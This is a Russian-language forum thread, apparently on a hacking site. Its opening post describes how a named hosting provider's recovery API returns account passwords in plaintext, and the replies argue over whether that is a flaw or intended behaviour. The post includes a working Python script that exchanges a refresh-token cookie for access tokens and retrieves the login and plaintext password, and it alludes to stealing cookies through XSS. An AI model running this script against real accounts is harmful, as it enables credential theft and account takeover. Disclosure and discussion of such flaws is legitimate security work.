Как ваши пароли могут стать общественным достоянием by timeweb

  • Автор темы Автор темы ssabnod
  • Дата начала Дата начала
Начинающий
Начинающий
Статус
Оффлайн
Регистрация
24 Янв 2024
Сообщения
5
Реакции
2
Спасибо команде хостинга timeweb, а отдельно отделу кибер-безопасности и отделу маркетинга
Наверное, я хотел бы написать "это" в каких-то более серьезных тонах, но в последний момент я все переписал, не стал выкладывать ее в какие-то серьезные ресурсы. А просто заливаю вам

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.

Предыстория:
Кто не слышал, TW является одним из самых крупных хостеров, почти 20 лет на рынке, одним словом - крутые ребята.
Так вот, сначала я расскажу в этой "статье" (больше это конечно крик души), как вообще адекватные люди хранят пароли в БД, а потом перейдем к сути.

База:
Во первых нам нужно знать то, что знает каждый пятиклассник - что такое хэшировние? чем оно отличается шифрования? и каким нужно быть человеком, чтобы хранить пароль не в хэшированом виде.

Хеширование - это процесс преобразования входных данных (любого размера) в строку фиксированной длины, которая представляет собой "отпечаток" этих данных. В контексте ИБ, особенно при хранении паролей, хеширование используется для обеспечения конфиденциальности и целостности данных.
То есть, зная только hash и алгоритм, невозможно восстановить входные данные (если не брать в расчет брутикифорсики).

Шифрование - это процесс преобразования входных данных в зашифрованный формат, который может быть прочитан только авторизованной стороной, обладающей ключом дешифрования.

Для особо одаренных
Хеширование — это односторонняя функция
Шифрование — это двусторонняя функция

Основная статья:
А теперь начинается контент, как-то раз, мы с моими другом (место для друга) шароебились по TW, в поисках приключений, ну мы их и нашли.
Не буду лить воду, говорить на какие кнопочки мы нажимали и т.д. Суть одна, после 5 минут ресерча xhr запросиков мы нашли это чудо:
Код:
Expand Collapse Copy
https://api.timeweb.cloud/portal/v1.1/access/recovery/63904c70-ee18-41b3-b583-48ce57d36e99
{
    "expires_in":63072000,
    "generation":2,
    "is_manual":False,
    "password":"hj0n3gj7n0",
    "registrationDate":"2023-11-14 09:52:16+03:00",
    "timestamp":1699955644,
    "token":"63904c70-ee18-41b3-b583-48ce57d36e99",
    "token_app_key":"ea7fhjr26r313dj5i3o0dvgxkfdf3p3g",
    "token_max_count":10,
    "token_type":"bearer",
    "user":"bt81891",
    "user_type":"vds"
}
Ну пиздец, дамы и господа, в эфире программа кто хочет стать миллионером и вопрос такой: у нас есть key "password" со значением "hj0n3gj7n0", что это?
a) Пароль от VDS сервера
б) Хешированный пароль
в) Шифрованный пароль
г) МОЙ БЛЯТЬ ПАРОЛЬ ОТ АККАУНТА В ОТКРЫТОМ ВИДЕ

Тун-тун-тун, и правильный вариант ответа Г, поздравляю победителей
На самом деле к разбору этого "контента" я подойду ближе к концу, так что продолжаем раскуривать дальше.
image.png


Так, ну а теперь исследуем по подробнее из чего строиться этот запрос (важные детали я выделил красным)
Есть такой прикол - JWT (JSON Web Token). Этот компактный формат токена для передачи информации между двумя сторонами. В основном, JWT применяется для аутентификации и обмена информацией. Он представляет собой строку, состоящую из трех частей, разделенных точками: заголовка, полезной нагрузки и подписи.

В нашем примере:
TOKEN = 'eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCIsImtp...'

Здесь, мы имеем дело со второй частью токена - полезной нагрузкой. Эта часть содержит фактические данные (claims), закодированные в формате Base64.

Код:
Expand Collapse Copy
jwt_claims = json.loads(base64.b64decode(unknown_TOKEN.split(".")[1] + "=="))
{
  "user": "bt81878",
  "type": "access_token",
  "portal_token": "63904c70-ee18-41b3-b583-4c8ec75d3e24",
  "iat": 1699958695,
  "exp": 1699959595
}
Теперь мы знаем, что в заголовке запроса используется какой-то access_token, а в ссылке какой-то portal_token.
Это конечно все хорошо, но теперь нужно понять, где достать access_token
В жизни, в любой непонятной ситуации я иду смотреть свои cookies, вот так мы и сделаем.
image.png


refresh_token, ну опять же, кто окончил хотябы 5 классов образования поймет, что это стандартная система аццесс и рефреш токена.
Теперь ищем ресерчим запросы и находим эндпоинт для обновления токенов, и я накидал не большой скрипт, который получит токены, вместе с нашим оригинальным паролем

Python:
Expand Collapse Copy
import json
import requests
import base64

class TimeWeb:
    BASE_URL = "https://api.timeweb.cloud"

    def __init__(self, refresh_token=None):
        """
        :param refresh_token: Токен для обновления и получения новых токенов доступа.
        """
        self.session = requests.Session()
        self.session.verify = False

        self.refresh_token = refresh_token
        self.auth_token = None
        self.portal_token = None

    def update_token(self) -> dict:
        """
        Обновляем и получаем токены

        :return: json с токенами
        """
        response = self.session.post(
            f"{self.BASE_URL}/api/v1/auth/update-token",
            cookies={"refresh_token": self.refresh_token},
            json={"refresh_token": ""}
        )

        if response.status_code != 201:
            raise HTTPError(f"Status code {response.status_code}")
    
        tokens = response.json()["tokens"]
        self.auth_token = tokens["access_token"]
        self.refresh_token = tokens["refresh_token"]
        self.login = tokens["user"]

        jwt_claims = json.loads(base64.b64decode(self.refresh_token.split(".")[1] + "=="))
        self.portal_token = jwt_claims["portal_token"]

        return tokens

    def get_password(self) -> dict:
        """
        Получаем данные для входа через access_token

        :return: При успехе возвращаем json с ключами login и password
        """
        response = self.session.get(
            f"{self.BASE_URL}/portal/v1.1/access/recovery/{self.portal_token}",
            headers={"Authorization": f"Bearer {self.auth_token}"}
        )

        if response.status_code != 200:
            raise HTTPError(f"Status code {response.status_code}")
    
        self.password = response.json()["password"]

        return {
            "login": self.login,
            "password": self.password
        }

if __name__ == "__main__":
    refresh_token = 'eyJhbGciOiJSUzUxMiIsInR5cCI6...'
    timeweb_client = TimeWeb(refresh_token=refresh_token)
    tokens = timeweb_client.update_token()
    print(tokens.keys()) # dict_keys(['access_token', 'refresh_token', 'expires_in', 'user'])
    m_data = timeweb_client.get_password()
    print(m_data)

Вот и все, имея доступ к cookies нашего аккаунта мы можем получить логин и пароль, при том, что входить мы можем через тот же ВК OAuth, так что получается фича для тех кто забыл свой пароль)


Вывод:
Я на протяжение нескольких дней дискутировал с отделами TW, и всю суть можно описать так: это бизнес логика, это фича.

Ну и да, как же без комментария от команды TW:

image.png

на самом деле, мне немного грустно, к моему фидбеку отнеслись настолько хуево, что в ответе от компании (сделанный специально для вас) говориться о пароле от сервисом, по типу vds.. а проблема то в том, что пароль то от аккаунта.

На этом все.
Хотел бы услышать от вас фидбек. Как вам такая фича, может я просто зря придираюсь?
 
Последнее редактирование:
Пожалуйста, авторизуйтесь для просмотра ссылки.
г) МОЙ БЛЯТЬ ПАРОЛЬ ОТ АККАУНТА В ОТКРЫТОМ ВИДЕ
Вроде выглядит как обычное восстановление пароля, судя по кейворду recovery, как ты предлагаешь реализовать это иначе? При восстановлении пароля, тебе видимо генерирует его новым, и отдает, потом фронт рендерит его, как предлагаешь сделать иначе?
имея доступ к cookies нашего аккаунта
Как и в любом другом сервисе, токены имеют в себе основную информацию твоего профиля и имеют абсолютную власть.
на самом деле, мне немного грустно, к моему фидбеку отнеслись настолько хуево
Думаю они сделали правильно, потому что лезешь ты туда непонятно зачем, на первый взгляд выглядит все цивильно.
 
Вроде выглядит как обычное восстановление пароля, судя по кейворду recovery, как ты предлагаешь реализовать это иначе? При восстановлении пароля, тебе видимо генерирует его новым, и отдает, потом фронт рендерит его, как предлагаешь сделать иначе?
1) Молодой, еще раз, заходим в их лк, пытаемся сбросить пароль. и чтобы это сделать мне нужно ввести текущий, тут нет подсказки 'вот твой прошлый пароль'. Делаем вывод, что только еблан будет считать это фичей.
image.png


2) И я еще раз тебе объясню, как делают нормальные homies:
если у нас данные, целостность и валидность которых мы можем подтвердить с помощью хеширования - нужно хранить их в хеше.

Вот именно из-за таких гениев как ты, когда случается пиздец, а точнее атаки на биг техе - мои пароли pisos12345 находятся в слитых бд, вместо того, чтобы та был какой-то товарищ gdfjdgxcjh,vcghcjhcv,jhc


как бы я реализовал? (ну точнее как бы реализовал любой адекватный человек):
у нас есть user_input_pass, есть функция hash()
при регистрации человек вводит user_input_pass -> hash(user_input_pass) -> на выходе у нас hash_str которая будет храниться где-то там в бд. При некст входе, восстановления аккаунта у нас идет идет проверка hash(user_input_pass_2) === hash_str
это не что-то сверхординарное - это база
 
Последнее редактирование:
и кстати да, найдешь мне как эту же информацию (а точнее пароль) найти их фронт-еда - я удалю тему и сброшусь с крыши
к счастью для меня, этого не произойдет. ПОТОМУ-ЧТО ЭТО НЕ ФИЧА - А ПРОЕБ

я даже промолчу про какую-нибудь очень дефолтную xss и другую разновидность это хуйни)
переходишь ты такой по ссылочке, хуяк, спасибо за cookies, ну а дальше сам понимаешь что ?
 
Последнее редактирование:
хранят пароли в БД
2) И я еще раз тебе объясню, как делают нормальные homies:
если у нас данные, целостность и валидность которых мы можем подтвердить с помощью хеширования - нужно хранить их в хеше.
Как ты предлагаешь реализовать ХЕШИРОВАНИЕ пароля на методе рекавери оного? Который тебе должны вернуть для авторизации
1) Молодой, еще раз, заходим в их лк, пытаемся сбросить пароль. и чтобы это сделать мне нужно ввести текущий, тут нет подсказки 'вот твой прошлый пароль'. Делаем вывод, что только еблан будет считать это фичей.
Вроде четко вижу UUID для ресета и токены, UUID используется в роли временного токена
при регистрации человек вводит user_input_pass -> hash(user_input_pass) -> на выходе у нас hash_str которая будет храниться где-то
Именно это и происходит, но не у тебя на глазах, ведь при восстановлении пароля тебе возвращают новый рандомный, и иного способа тебе его вернуть нет, ведь если тебе будут хешированный отдавать - как предлагаешь по нему авторизовываться в итоге?
На их серверах он уже хранится хешированным, и только тебе его вкидывает без хеша, сразу после генерации, а не из базы данных, что тут не так и как хотя бы в теории возможно было бы реализовать иначе?
 
Последнее редактирование:
  • Мне нравится
Реакции: mj12
как говорил один современный классик: нету интереса доказывать что-то elleqt

А то что суть статьи в том, что это у них не так работает, как ты говоришь)
Ты просто даже не открыл и не посмотрел, молодец, как всегда плохо✅
На их серверах он уже хранится хешированным, и только тебе его вкидывает без хеша, сразу после генерации, а не из базы данных, что тут не так и как хотя бы в теории возможно было бы реализовать иначе?
 
Последнее редактирование:
как говорил один современный классик: нету интереса доказывать что-то elleqt

А то что суть статьи в том, что это у них не так работает, как ты говоришь)
Ты просто даже не открыл и не посмотрел, молодец, как всегда плохо✅
Видимо предложений как сделать рекавери пароля с автоматически генерированным паролем я не увижу?
 
  • Мне нравится
Реакции: mj12
Видимо предложений как сделать рекавери пароля с автоматически генерированным паролем я не увижу?
еще раз, ты пишешь:
На их серверах он уже хранится хешированным, и только тебе его вкидывает без хеша, сразу после генерации, а не из базы данных, что тут не так и как хотя бы в теории возможно было бы реализовать иначе?

я показываю что это не так, где какие-то аргументы?
 
Назад
Сверху Снизу